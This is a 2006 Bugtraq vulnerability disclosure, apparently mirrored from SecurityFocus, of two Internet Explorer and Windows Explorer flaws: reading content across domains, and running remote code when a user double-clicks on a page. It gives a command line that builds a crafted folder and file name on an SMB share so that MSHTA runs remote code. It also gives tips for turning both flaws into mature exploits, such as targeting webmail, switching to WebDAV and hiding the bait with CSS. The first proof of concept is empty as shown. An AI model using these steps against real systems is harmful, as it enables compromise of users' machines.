source: https://www.securityfocus.com/bid/19389/info Microsoft Windows is prone to a remote code-execution vulnerability. This issue affects the Windows Explorer component. This issue is caused by insecure handling of Drag and Drop events. There is a public proof-of-concept that demonstrates that this vulnerability may be exploited to execute a malicious HTML application (HTA) without prompting the user for permission. REPORT NAME: PLEBO-2006.06.16-IE_ONE_MINOR_ONE_MAJOR DESTINATION: To Publish EMAIL RECPT: bugtraq CONTENTS ~~~~~~~~ 0. IMPORTANT NOTICE 1. SUMMARY 2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT 3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT 4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT 5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT 0. IMPORTANT NOTICE ~~~~~~~~~~~~~~~~~~~ Copyright (c) 2006 Plebo Aesdi Nael Permission is hereby granted for the redistribution of this document electronically. It is not to be edited in any way without express consent of Plebo Aesdi Nael. Please email plebo@gmx.net for permission if you wish to reprint the whole or any part of this document in any other medium excluding electronic medium. Plebo Aesdi Nael, plebo@gmx.net -----BEGIN PGP PUBLIC KEY BLOCK----- Version: GnuPG v1.4.0 (FreeBSD) mQGiBELFR34RBAD0ZhPk2W6NkHbZObLX4b20fQA5A1HcxVX7nktxXn1CNPNZGwln 52Je7+nCvMC0kLlFPc2Mu52aL5G+WMNbPYnkXCsNxFAiscRYaIcMbw4PvB9CW21z ZDX7Aq+RgCrgQXOF6FumXUgSGgokVEL0wGB6FWgDlE/t3apmaiNA+Et5YwCgqcf7 y1TTOijW91Y1GkghHYQon7ED/3SXsO8esEOax5cXEnKkGfyuWVVzxcOKSddFh6xB OKLTazoEY3OpHqO6S+2q2wylBFVZqdM41NqTVRC5wQVlQEUo+b4qDoFfp7cWRUix m8+ZbRRN6y8cazDCjnSjXI3GGwd3p00MhJUKevJIuRs6vvrEar2xWcXhuC/TZXPJ bgAeBADsDM3TsSgE458gFLrTIayCTtjJp6OKNT4BmKZarCOfflnqlchOLY8PBsVH flA5jyA8sPFsIoeIFkut7EYx0+8F2ym+oWShb7CVBEYItsh5UmtU2xNWmYoJOx/U bB3PnJKdO3vCxkNseIu8LqHXE1qzkd43ocxx7cPgdREyquZAc7QgUGxlYm8gQWVz ZGkgTmFlbCA8cGxlYm9AZ214Lm5ldD6IXQQTEQIAHgUCQsVHfgIbAwYLCQgHAwID FQIDAxYCAQIeAQIXgAAKCRCtXEZ20jCHQSHUAJiVAuqU55hzf1rSgV2bNyBi71sR AJwMf1orkD0wHd/jZknVAdkO9GHFv7kCDQRCxUecEAgAtrIc15i/g1W7s4IaIhn7 Z0k1V1hDjvrKQiIKb5Rz5ca7659INq4/wpu+pi1usqd3Zb53/ev2fcdYKzWYWd0G dbwSJr8rdKSMr4yGzXoAVCWxjAH91TUeFVRtzQJILlI2C3lm59sQP1YRdMFC+9Le y9Xcx9aSmezh7//xUCzIUJcxenmqXA2R+147aAlQD1BWKemCWEtMVc9Ueh+DclLG tGiSDFBHMIdUT4mB0pFukWGwtOXNnXb8DfYyjfoGQoetcGRiWktQPBByLNToSLnF H8CuT+zMQpvR6JXGKlttShRE0k3QAIlYfktw0loyzqFxglFjdQmI+/jUg0x5/npW 1wADBQf8CkAdF2ZBmzjvWrwfY7DSya8lnxU1JNhXeel+U7xnLt1zCAyUdiYS/jmC PCC0ROaUl0uqwnGybi8UzPzuX2KKhfazNc1mzqJoorzDzEBJ5yMjf4YfbVdTKd5w iOa5DUnDsEx8L1mrXhbRKQ+T/dvb/LOzfxBJrvJofFBAJUS/WEuiWNXPHVGQ2VnW E8jOCf5LaMJXQ8kHZObuMiDazgubcg7MKKCtDSFyxMQL9LvzkdUq6aA60I1AKVv+ zLotUbcfkza5mIySL/QQGEd2N6hSCqo891kNas3bUt6E8BWlaLIuxSPAGe/GxzuZ zjh3eOm/bsXKcJIyd8VuMjuzVxCct4hJBBgRAgAJBQJCxUecAhsMAAoJEK1cRnbS MIdBaNoAoIhMnNOqw2wWJ4R7V1qjUCCQOTP/AJ9Ju97jTO8pL4y08wrUpZ+9V+Ek 0g== =OV2E -----END PGP PUBLIC KEY BLOCK----- 1. SUMMARY ~~~~~~~~~~ This document illustrates two issues found in Internet Explorer: One is READ CONTENT OF ANY DOMAIN Another is DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION 2. READ CONTENT OF ANY DOMAIN - PROOF OF CONCEPT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006 Upload the following files to Web server, go to i.html ------------------------- i.html -------------------------

------------------------- r.php ------------------------- i.html displays content of Google Web page. 3. READ CONTENT OF ANY DOMAIN - TIPS FOR MATURE EXPLOIT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Target Google Desktop, similar to IE Design Flaw Lets Hacker Crack Google Desktop, http://www.eweek.com/article2/0,1895,1895579,00.asp 2. Target webmail 4. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - PROOF OF CONCEPT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The following proof of concept is incomplete realization of the idea to demonstrate its feasibility. Windows Server 2003, Enterprise Edition, Service Pack 1, 15/06/2006 Assume C:\SmbPubRO is shared over SMB \\192.168.0.5\SmbPubRO Run CMD, go to C:\SmbPubRO, and then enter the following command: mkdir test && cd test && mkdir %2e%2e%5cx.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} && echo "" > test.html && cd .. && echo "" > x.{3050f4d8-98B5-11CF-BB82-00AA00BDCE0B} At last, open IE to \\192.168.0.5\SmbPubRO\test\test.html, and double-click the icon labeled %2e%2e%5cx MSHTA runs remote code. 5. DOUBLE-CLICK ANYWHERE ON WEB PAGE COULD ALLOW REMOTE CODE EXECUTION - TIPS FOR MATURE EXPLOIT ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1. Use WebDAV, not SMB 2. Hide suspicious parts by CSS tricks similar to What A Drag! -revisited-, http://www.mikx.de/index.php?p=1 3. Set up scenario of double-click 4. If modified, able to compromise IE7BETA2 5. If modified, no need to double-click